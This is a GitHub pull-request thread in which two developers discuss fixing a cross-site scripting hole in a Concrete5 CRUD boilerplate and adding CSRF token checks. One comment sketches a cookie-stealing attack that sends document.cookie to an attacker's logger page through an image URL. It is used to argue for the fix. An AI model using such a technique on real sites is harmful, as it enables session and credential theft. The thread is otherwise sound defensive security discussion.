Update master

[2hat]

Fix a Cross Site scripting problem with the id numbers not being cleaned

[jordanlev]

Hi Chris, Thank you very much for the pull request. I see what you mean about the vulnerability. The reason I didn't have anything in the code to check for this is because my assumption was that this code is for the dashboard only, meaning it's only for "trusted" administrative users (those without malicious intent). However, it is probably best to err on the side of caution with boilerplate code that may be used by people who don't understand the intricacies so well (and heck, maybe I don't understand them as well as I think I do either).

Do note however that as long as we're sanitizing our input before re-outputting it, we must do this on all fields -- so in your pull request you are sanitizing the id fields, but the 'name', 'description', and 'rating' fields in the edit forms are not sanitized, so that's an attack vector as well.

Finally, perhaps this is up to personal style, but I prefer to sanitize the output where it's actually being outputted. The casting of the $id's to (int)'s is very similar in nature to calling htmlentities() on output text, so I would prefer to be consistent and do the (int) casting in the views when the $id is being outputted, not in the controller.

So I am not going to integrate your pull request, but will make a different update that addresses the issue you raise but in a slightly different way. I hope this makes sense, and thank you again for raising the issue in the first place.

-Jordan

EDIT: See https://github.com/jordanlev/c5_boilerplate_crud/commit/9e7b9ec9e6e781875a349b46ff4f66da2b9f5f67 for my update

[2hat]

I agree with your statement on sanitizing closest to the use of the input. That way you can sanitize precisely for what it is to be used for (HTML, XML, email, db). I also like to sanitize at each phase for that phase so if I know an id is only a number I'll check it for a number (in this case force to a number) and then clean it again for each presentation layer.

The admin argument makes sense and is even posted on the Concrete5 FAQ site but only half true. If I wanted to take over your site all I would need to do is create a cross site scripting attack that looks up your document.cookie and sends it to my site by calling img src='mysite/logger.php?cookie=.....' Then I would write some nasty or nice post about you on my evil site and when you visit it then it will post to your admin page for you and if your logged in steal your credentials without you knowing it. (AKA spearfish attack)

Thanks again for your boilerplate code, it was very timely and a great introduction to the framework for me. Keep up the good work.

www.2hatsecurity.com

[jordanlev]

Hi Chris, I also realized that there should be a CSRF token in the boilerplate code. I haven't added it yet, but will when I have time (and also I want to figure out a way to do it easily/simply -- somehow integrated into the existing validation -- because the built-in C5 way is too verbose in my opinion).

Let me know if you have any thoughts on this too.

Thanks, Jordan

[2hat]

Interesting, I wrote on that briefly last night. http://2hatsecurity.blogspot.ca/2012/06/protecting-your-admin-site-part-2.html

If I figure something out over the next few weeks I'll push it into the repo.

On Tue, Jun 12, 2012 at 8:52 AM, Jordan Lev reply@reply.github.com wrote:

Hi Chris, I also realized that there should be a CSRF token in the boilerplate code. I haven't added it yet, but will when I have time (and also I want to figure out a way to do it easily/simply -- somehow integrated into the existing validation -- because the built-in C5 way is too verbose in my opinion).

Let me know if you have any thoughts on this too.

Thanks, Jordan

---

Reply to this email directly or view it on GitHub: https://github.com/jordanlev/c5_boilerplate_crud/pull/1#issuecomment-6274294

[jordanlev]

Thanks for the link. Here's a discussion on using C5's built-in CSRF tokens: http://www.concrete5.org/community/forums/customizing_c5/token-validation-helper/

I know how to use them but as with most C5 things it's just so verbose... I want to figure out a more elegant way to ensure they make it into every form.

[2hat]

For the CSRF I found the Concrete5 one to be reasonable enough, a little odd in that it's not bound to the session but it should work.

To implement it I added the following but didn't bother pushing it as it's not that elegantly matching the code style for this project and should be tied into the validator (but I wanted to add it on delete without having to do excessive validation)

on_start() $this->token = Loader::helper('validation/token'); $this->set("token",$this->token);

edit() if (!$this->token->validate()) { $this->set('error', "Invalid token"); //C5 automagically displays these errors for us in the view }

delete() if (!$this->token->validate()) {

Then I just added to the views <?php echo $token->output();?>

If your delete is a link you'll need &ccm_token=<?php echo $token->generate() ?>

[jordanlev]

Hey Chris, Thanks for posting your solution. I like how you've put a lot of the logic into on_start(), because it will make the view templates cleaner. I think it might even be possible to check for a valid token in the on_start() as well (for requests where there is a $_POST). Since a token error is kind of a "fatal error", it doesn't require a nice output in my opinion, so if the validation check fails in on_start(), just output the error message and stop execution there.

As for the delete links, that's good to know that there's a solution -- but ideally a delete link should be a POST operation as well (not a GET) because you wouldn't want it to be accidentally gotten to by a spider / bot or a URL that was shared with another person. I usually just have a confirmation page for deletion operations that shows a warning and a button that posts a form -- the form doesn't really do anything other than provide a way to POST the delete operation to the controller. But of course that's just my own personal style, and of course not appropriate for all people or in all situations.

Thanks again for sharing your solution here.

-Jordan

[jordanlev]

Hi Chris, I've updated the package to include automatic CSRF validation functionality on all POSTS (the only thing that you must do when building out the boilerplate_crud package is include <?php echo $token; ?> inside all your forms).

Thanks so much for bringing this up and providing the code!

-Jordan